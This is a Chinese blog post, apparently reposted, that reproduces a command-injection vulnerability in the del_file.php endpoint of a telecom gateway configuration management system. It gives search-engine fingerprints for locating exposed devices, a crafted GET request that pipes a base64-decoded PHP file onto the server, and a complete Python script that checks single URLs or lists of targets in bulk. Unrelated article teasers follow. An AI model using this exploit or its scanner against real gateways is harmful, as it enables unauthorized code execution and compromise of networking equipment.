【漏洞复现】电信网关配置管理系统——命令执行

news2024/10/6 1:43:22

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。

文章目录

  • 漏洞描述
  • 漏洞复现
  • 测试工具


漏洞描述

电信网关配置管理系统是一个用于管理和配置电信网关设备的软件系统。其del_file接口存在命令执行漏洞。

漏洞复现

1)信息收集
fofa:body="a:link{text-decoration:none;color:orange;}"
fofa:body="img/login_bg3.png" && body="系统登录"
hunter:web.body="a:link{text-decoration:none;color:orange;}"
在这里插入图片描述

愿世间美好与你欢欢相扣~

在这里插入图片描述
2)构造数据包

GET /manager/newtpl/del_file.php?file=1.txt%7Cecho%20PD9waHAgZWNobyBtZDUoJzEyMzQ1NicpO3VubGluayhfX0ZJTEVfXyk7Pz4%3D%20%7C%20base64%20-d%20%3E%20404.php HTTP/1.1
Host: ip

代码解释:

  1. 读取名为 “1.txt” 的文件。
  2. 输出 “PD9waHAgZWNobyBtZDUoJzEyMzQ1NicpO3VubGluayhfX0ZJTEVfXyk7Pz4=” 的内容。
  3. 将上述内容进行base64解码。
  4. 解码后:<?php echo md5('123456');unlink(__FILE__);?>
  5. 将解码后的内容写入名为 “404.php” 的文件。
<?php 
echo md5('123456');
unlink(__FILE__);
?>
  1. 使用md5函数生成字符串’123456’的MD5散列值,并使用echo语句输出这个值。
  2. 使用unlink函数删除当前执行的PHP文件。
  3. __FILE__是一个魔术常量,它返回当前文件的完整路径。
  4. 执行结果:打印123456MD5并删除自身文件。

3)抓包放包
在这里插入图片描述
4)查看404.php文件

GET /manager/newtpl/404.php HTTP/1.1
Host:ip

在这里插入图片描述
回显包含123456的MD5,命令被执行了

测试工具

poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests  # 导入requests库,用于发送HTTP请求
import random  # 导入random库,用于生成随机字符串
import string  # 导入string库,用于获取字符串常量
import argparse  # 导入argparse库,用于解析命令行参数
from urllib3.exceptions import InsecureRequestWarning  # 导入urllib3库中的警告异常

# 定义颜色代码,用于在终端中显示红色文本
RED = '\033[91m'
RESET = '\033[0m'

# 忽略不安全请求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# 定义一个函数,用于生成指定长度的随机字符串
def rand_base(n):
    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=n))

# 定义一个函数,用于检查指定URL是否存在漏洞
def check_vulnerability(url):
    filename = rand_base(6)  # 生成一个随机的6位字符串作为文件名
    # 构造第一个请求的URL,尝试注入恶意代码生成PHP文件
    inject_url = url.rstrip('/') + f'/manager/newtpl/del_file.php?file=1.txt%7Cecho%20PD9waHAgZWNobyBtZDUoJzEyMzQ1NicpO3VubGluayhfX0ZJTEVfXyk7Pz4%3D%20%7C%20base64%20-d%20%3E%20{filename}.php'
    try:
        response_inject = requests.get(inject_url, verify=False, timeout=30)  # 发送请求,不验证SSL证书,超时时间30秒

        # 构造第二个请求的URL,尝试访问生成的PHP文件
        access_url = url.rstrip('/') + f'/manager/newtpl/{filename}.php'
        response_access = requests.get(access_url, verify=False, timeout=30)  # 发送请求

        # 根据响应判断是否存在漏洞
        if response_inject.status_code == 200 and response_access.status_code == 200 and "e10adc3949ba59abbe56e057f20f883e" in response_access.text:
            print(f"{RED}URL [{url}] 存在电信网关配置管理系统 del_file.php 命令执行漏洞{RESET}")
        else:
            print(f"URL [{url}] 不存在漏洞")
    except requests.exceptions.Timeout:
        print(f"URL [{url}] 请求超时,可能存在漏洞")
    except requests.RequestException as e:
        print(f"URL [{url}] 请求失败: {e}")

# 定义主函数,用于解析命令行参数并调用check_vulnerability函数
def main():
    parser = argparse.ArgumentParser(description='检测目标地址是否存在电信网关配置管理系统 del_file.php 命令执行漏洞')
    parser.add_argument('-u', '--url', help='指定目标地址')
    parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')

    args = parser.parse_args()

    if args.url:  # 如果指定了URL
        if not args.url.startswith("http://") and not args.url.startswith("https://"):
            args.url = "http://" + args.url  # 确保URL以http或https开头
        check_vulnerability(args.url)
    elif args.file:  # 如果指定了文件
        with open(args.file, 'r') as file:
            urls = file.read().splitlines()  # 读取文件中的URL列表
            for url in urls:
                if not url.startswith("http://") and not url.startswith("https://"):
                    url = "http://" + url  # 确保URL以http或https开头
                check_vulnerability(url)

# 程序入口点
if __name__ == '__main__':
    main()

运行截图:
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1875412.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【C++题解】1466. 等差数

问题&#xff1a;1466. 等差数 类型&#xff1a;简单循环 题目描述&#xff1a; Peter 同学刚刚在学校学习了等差数列的概念。 等差数列&#xff0c;指的是一组数&#xff0c;这些数连续 2 个数的差值是相等的&#xff0c;比如&#xff1a;123&#xff0c;135&#xff0c;852…

【AI提升】AI利器Tool Call/Function Call(二):OpenAI/qwen-agent/LangChain/Ollama

上一节快速使用了Tool Call 【AI提升】AI利器Tool Call/Function Call(一) &#xff0c;使用的是LangChainOllama&#xff0c;这一节说说为什么使用这个组合&#xff0c;以及其余的使用场景。 首先大家都知道&#xff0c;在目前AI的世界里&#xff0c;各大模型都还是跟着OpenA…

onnx模型转rknn到部署

简介 最近开始用3568的板子&#xff0c;之前是在用3399&#xff0c;cpu的话3399比3568强&#xff0c;但是3568有1T的npu算力&#xff0c;所以模型移植过来用npu使用&#xff0c;之前用ncnn感觉太慢了&#xff0c;rk的npu使用没有开源&#xff0c;所以没法兼容&#xff0c;只能跑…

聚鼎贸易:装饰画行业还有没有前景

在数字化的浪潮中&#xff0c;装饰画行业似乎被边缘化&#xff0c;成为传统与现代较量中的一片瓦砾。然而&#xff0c;透过表面的凋零&#xff0c;我们能够窥见其潜藏的蓬勃生机与无限前景。 随着社会的快速发展&#xff0c;人们对生活品质的追求日益提高。家&#xff0c;作为个…

Golang | Leetcode Golang题解之第204题计数质数

题目&#xff1a; 题解&#xff1a; func countPrimes(n int) int {primes : []int{}isPrime : make([]bool, n)for i : range isPrime {isPrime[i] true}for i : 2; i < n; i {if isPrime[i] {primes append(primes, i)}for _, p : range primes {if i*p > n {break}…

图像增强及运算篇之图像掩膜直方图和HS直方图

一.图像掩膜直方图 如果要统计图像的某一部分直方图&#xff0c;就需要使用掩码&#xff08;蒙板&#xff09;来进行计算。假设将要统计的部分设置为白色&#xff0c;其余部分设置为黑色&#xff0c;然后使用该掩膜进行直方图绘制&#xff0c;其完整代码如下所示。 # -*- codi…

golang使用RSA加密和解密

目录 前提 生成RSA公钥和密钥 读取文件 加密 解密 前提 本文章我们是先读取的RSA文件&#xff0c;所以需要先生成RSA&#xff0c;并且保存在文件中&#xff0c;再进行加密 生成RSA公钥和密钥 如果没有公钥和密钥&#xff0c;可以先看看我上一篇文章 生成RSA公钥和密钥h…

在 Java 中的使用Selenium 测试框架

Selenium 测试框架&#xff1a;在 Java 中的使用 Selenium 测试框架就是这样一个强大的工具&#xff0c;它为 Web 应用的自动化测试提供了全面且高效的解决方案。 一、Selenium 简介 Selenium 是一个开源的自动化测试工具集&#xff0c;专门用于测试 Web 应用程序。它支持多…

Camera Raw:编辑 - 曲线

Camera Raw “编辑”模块中的曲线 Curve面板提供了曲线这一强大的工具&#xff0c;通过精确控制亮度和对比度&#xff0c;以及调整红、绿、蓝通道的曲线&#xff0c;可以显著提升图像的视觉效果和色彩表现。这些调整工具为摄影师和图像编辑者提供了丰富的创意可能性&#xff0c…

Cesium 在加载 3dTiles 如何如何获取ID

文章目录 问题分析问题 加载的 3dTiles 打印content.getFeature(i)出来后如图所示,想获取到id值 分析 var tileset = mapLayer.init3dTileLayer({url:it.url,maximumMemoryUsage: it.maximumMemoryUsage,

python查找支撑数 青少年编程电子学会python编程等级考试三级真题解析2022年3月

目录 python查找支撑数 一、题目要求 1、编程实现 2、输入输出 二、算法分析 三、程序代码 四、程序说明 五、运行结果 六、考点分析 七、 推荐资料 1、蓝桥杯比赛 2、考级资料 3、其它资料 python查找支撑数 2022年3月 python编程等级考试级编程题 一、题目要求…

金融科技:重塑用户体验,驱动满意度飙升

随着科技的飞速发展&#xff0c;金融科技&#xff08;FinTech&#xff09;已经深入到我们生活的每一个角落&#xff0c;从日常支付到投资理财&#xff0c;再到跨境汇款&#xff0c;它都在悄无声息地改变着我们的金融行为。而在这背后一个不可忽视的驱动力就是金融科技对用户体验…

kubernetes给指定用户分配调用k8s的api权限

文章目录 概要利用RBAC添加角色权限使用shell命令创建角色权限使用配置文件创建角色权限 调用k8s的api获取k8s账户的token 小结 概要 使用kubernetes部署项目时&#xff0c;有些特殊场景&#xff0c;我们需要在自己创建的pod里面调用k8s的api来管理k8s&#xff0c;但是需要使用…

Ubuntu24.04之安装KVM(二百五十五)

简介&#xff1a; CSDN博客专家&#xff0c;专注Android/Linux系统&#xff0c;分享多mic语音方案、音视频、编解码等技术&#xff0c;与大家一起成长&#xff01; 优质专栏&#xff1a;Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 优质专栏&#xff1a;多媒…

牛客小白月赛97:D走一个大整数迷宫

链接&#xff1a;登录—专业IT笔试面试备考平台_牛客网 来源&#xff1a;牛客网 题目描述 给一个 nmn\times mnm 矩阵迷宫&#xff0c; 第 iii 行第 jjj 列的值为 ci,jc_{i,j}ci,j​ &#xff0c;LHLHLH 在迷宫中迷路了&#xff0c;他需要你的帮助。 LHLHLH 当前在 (1,1)(1…

Linux基础 - Samba 或 NFS 实现文件共享

目录 零. 简介 一. Samba 二. NFS 三. 总结 零. 简介 在 Linux 系统中&#xff0c;Samba 和 NFS 是两种常见的用于实现文件共享的方式&#xff0c;它们各有特点。 Samba 主要用于在 Linux 和 Windows 系统之间实现文件和打印机共享。它基于 SMB&#xff08;Server Message…

[Leetcode刷题] - 栅栏涂漆DP类问题

题目描述 这一类题目通常会问给定一组房子n和一组染料k去涂漆&#xff0c;并且会加入限制条件比如&#xff1a;某种颜色只能使用1次&#xff0c;相相邻房子不能涂同一种颜色&#xff0c;或者最多不能超过连续3个房子涂想通过颜色等等&#xff0c;让我们列举所有可能性总和&…

企智汇PaaS平台:数字化时代下的项目管理利器

企智汇项目管理系统PaaS平台是一个强大而灵活的平台&#xff0c;旨在为企业提供高效、智能的项目管理解决方案。在项目管理领域提供了显著的优势&#xff0c;这些优势主要体现在以下几个方面&#xff1a; 1.快速部署与迭代&#xff1a;企智汇一体化PaaS平台提供了预配置的基础…

代理IP如何助力旅游信息聚合?

在数字化时代&#xff0c;旅游信息聚合对于提升服务质量、优化用户体验起着至关重要的作用。随着在线旅游预订的普及&#xff0c;旅游信息的采集、整合和呈现成为了一个复杂而关键的过程。在这个过程中&#xff0c;代理IP技术以其独特的优势&#xff0c;为旅游信息聚合提供了强…

STM32介绍和资料地址

STM32标准外设软件库 https://www.st.com.cn/zh/embedded-software/stm32-standard-peripheral-libraries.html 支持标准外设库的产品系列&#xff1a;